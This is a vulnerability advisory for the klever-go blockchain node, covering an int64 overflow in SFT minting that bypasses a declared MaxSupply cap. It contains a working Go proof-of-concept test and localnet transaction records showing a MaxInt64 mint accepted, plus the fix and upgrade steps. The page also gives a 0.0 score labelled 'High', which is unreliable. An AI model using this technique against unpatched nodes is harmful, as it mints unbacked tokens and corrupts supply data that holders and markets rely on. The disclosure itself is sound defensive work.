GHSA-mrpp-v6pg-p54x CVE-2026-55764 GO-2026-6330
klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.54%
- Chance of exploitation in the next 30 days. Higher than 45.30% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-190 Integer Overflow or Wraparound
- Fix
1.7.19- Upgrade github.com/klever-io/klever-go to this version or later
Description
Summary
On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does
meta.Circulation += amount with no overflow guard, then checks
if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps
negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance
credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in
one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard
that the SFT path lacks.
Affected code
core/kapp/systemAccount/systemAcount.go:132-138(SFTAddCirculation, the unguarded+=).- Caller:
core/kapp/kda/mint.go:247-283(processSemiFungibleAddQuantity); contrast guardmint.go:289.
Impact
A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit,
and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).
Reachability
Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the
contract with no upstream upper bound.
Proof of concept
Unit test
TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds
Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation
wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with
ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.
<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>
package systemAccount
import (
"math"
"testing"
"github.com/klever-io/klever-go/common"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/tools/marshal"
"github.com/stretchr/testify/require"
)
func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
t.Helper()
marshalizer := &marshal.ProtoMarshalizer{}
store := make(map[string][]byte)
tracker := &commonMock.DataTrieTrackerStub{
RetrieveValueCalled: func(key []byte) ([]byte, error) {
return store[string(key)], nil
},
SaveKeyValueCalled: func(key []byte, value []byte) error {
store[string(key)] = value
return nil
},
}
kappAccount := &commonMock.KAppAccountHandlerStub{
DataTrieTrackerCalled: func() state.DataTrieTracker {
return tracker
},
}
s := &systemAccountKApp{marshalizer: marshalizer}
require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
return kappAccount, nil
},
}))
return s, store
}
func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
t.Helper()
meta, err := s.SFTGetMeta(asset, nonce)
require.NoError(t, err)
require.NotNil(t, meta)
return meta
}
// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
asset := []byte("SFTASSET")
nonce := []byte{0x01}
const maxSupply = int64(1000)
const startCirculation = int64(5)
// amount is a raw int64 from the contract with no upstream upper bound; the
// largest value it can carry is MaxInt64. With Circulation already at 5,
// 5 + MaxInt64 overflows int64 and wraps negative.
const overflowAmount = int64(math.MaxInt64) // 9223372036854775807
// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
s, _ := newExploitSystemAccountKApp(t)
require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
// seed an initial circulation of 5 (well within the cap)
require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))
before := readMeta(t, s, asset, nonce)
require.Equal(t, maxSupply, before.MaxSupply)
require.Equal(t, startCirculation, before.Circulation)
t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)
// --- contrast: a normal over-cap amount IS correctly rejected ---
// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
"a non-overflowing over-cap mint must be rejected")
// the rejected call must NOT have persisted (Circulation unchanged at 5)
afterContrast := readMeta(t, s, asset, nonce)
require.Equal(t, startCirculation, afterContrast.Circulation,
"rejected over-cap mint must not persist new circulation")
t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
contrastErr, afterContrast.Circulation)
// --- the exploit: amount near MaxInt64 overflows Circulation negative ---
exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)
after := readMeta(t, s, asset, nonce)
t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr)
// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
require.NoError(t, exploitErr,
"BUG: overflowing mint should have been capped but returned nil (cap bypassed)")
// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
require.Negative(t, after.Circulation,
"BUG: Circulation must have overflowed to a negative value")
// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
// Computed via non-constant vars so the deliberate overflow happens at runtime
// (a constant expression would be rejected by the compiler).
circ := startCirculation
amt := overflowAmount
expectedWrap := circ + amt // intentional int64 overflow at runtime
require.Equal(t, expectedWrap, after.Circulation)
t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
"a real mint would have credited ~%d tokens with no matching debit.",
maxSupply, after.Circulation, overflowAmount)
}
</details>
On-chain reproduction (live single-node localnet)
SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds
normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh
receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address —
no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held
nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is
specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)
<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>
{
"hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
"blockNum": 463,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F05-2SDF/1",
"assetType": "SemiFungible",
"from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
"to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"type": 0,
"typeString": "Transfer",
"value": 1
}
],
"contract": [
{
"type": 11,
"typeString": "AssetTriggerContractType",
"parameter": {
"triggerType": "Mint",
"assetId": "F05-2SDF",
"toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"amount": 1
}
}
]
}
</details>
<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>
{
"hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
"blockNum": 484,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F05-2SDF/1",
"assetType": "SemiFungible",
"from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
"to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"type": 0,
"typeString": "Transfer",
"value": 9223372036854775807
}
],
"contract": [
{
"type": 11,
"typeString": "AssetTriggerContractType",
"parameter": {
"triggerType": "Mint",
"assetId": "F05-2SDF/1",
"toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"amount": 9223372036854775807
}
}
]
}
</details>
Remediation
- In
SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g.if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungibleMintedValue <= 0pattern), or checkamountagainstMaxSupply - Circulationwith overflow-safe arithmetic. - Consensus-affecting → gate behind the next activation flag.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/klever-io/klever-go | < 1.7.19 |
1.7.19 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/klever-io/klever-go Go → 1.7.19
- go
go get github.com/klever-io/klever-go@v1.7.19 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-190: Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
How to prevent it
- Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
- Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
- Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7c7c-373r-gfjj Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery | High | Also affects github.com/klever-io/klever-go |
| GHSA-9wh6-9hq7-9688 Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS | High | Also affects github.com/klever-io/klever-go |
| GHSA-26r5-4mm2-px5c Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace | High | Also affects github.com/klever-io/klever-go |
| GHSA-97cv-x867-6xhm Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller | High | Also affects github.com/klever-io/klever-go |
| GHSA-4fwh-wrm6-97xm Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS) | High | Also affects github.com/klever-io/klever-go |
| GHSA-9v8p-frvj-2pcm Klever-Go: /log controls global node logging | High | Also affects github.com/klever-io/klever-go |
| GHSA-v358-wf77-39xv klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits | High | Also affects github.com/klever-io/klever-go |
| GHSA-cgc5-v3f2-8m2v Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token) | Critical | Also affects github.com/klever-io/klever-go |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor